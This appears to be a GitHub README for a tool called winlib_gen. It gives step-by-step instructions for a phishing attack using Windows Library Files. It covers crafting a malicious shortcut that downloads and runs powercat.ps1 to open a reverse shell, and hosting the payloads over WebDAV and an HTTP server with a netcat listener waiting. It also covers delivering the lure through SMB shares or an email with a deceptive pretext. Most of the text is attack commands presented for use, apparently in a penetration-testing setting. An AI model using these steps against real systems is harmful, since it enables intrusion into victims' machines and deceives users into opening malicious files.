gustanini / winlib_gen

This repo contains a step-by-step guide, and tools for performing phishing attacks involving Windows Library Files.

This repo contains instructions on how to perform a Windows Library File phishing attack.

Creating Windows Library File

This file, once opened, will point the target machine to our WebDAV server (more on this later). In order to create this file we will execute either of the winlib_gen scripts included in this repo.

Creating a Malicious Shortcut File

Then we will need to create a shortcut file (this needs to be done on a Windows Machine):

• On a Windows machine: right click on the desktop and select new -> shortcut.

• Insert the powershell commands that winlib_gen prints in the location field.

This command will request and invoke powercat.ps1 from an address where we will be hosting it and then connect to our listener with a reverse shell.

• Name the shortcut file whatever name is appropriate for your context (example security_update).

Serving the Files

• We will transfer the shortcut file to a folder in Kali and host it using WebDAV:

wsgidav --host 192.168.45.187 --port 80 --auth anonymous --root .

• We will start a Python3 HTTP server and host powercat.ps1:

python3 -m http.server

• We will start a netcat listener to catch the shell:

nc -nlvp 4444

Sending the Library File

SMB - smbclient

We can now transfer config.Library-ms via smbclient to the target share and hopefully some user will open the file:

smbclient //IP/sharename -c 'put config.Library-ms' -U 'user%pass'

If a user opens the file, we will get a reverse shell.

Email - swaks

We can send a malicious email using the command-line SMTP tool swaks.

• This repo contains a body.txt file containing an example pretext to encourage the victim to open the attached library file.

• Then we build our swaks command:

sudo swaks -t [email protected] -t [email protected] --from [email protected] --attach @config.Library-ms --server {Mailserver IP} --body @body.txt --header "Subject: Announcement" --suppress-data -ap
Username: user
Password: password

When our victim finally opens the malicious file, our WebDAV and Python3 servers will receive requests and our listener will grab a shell.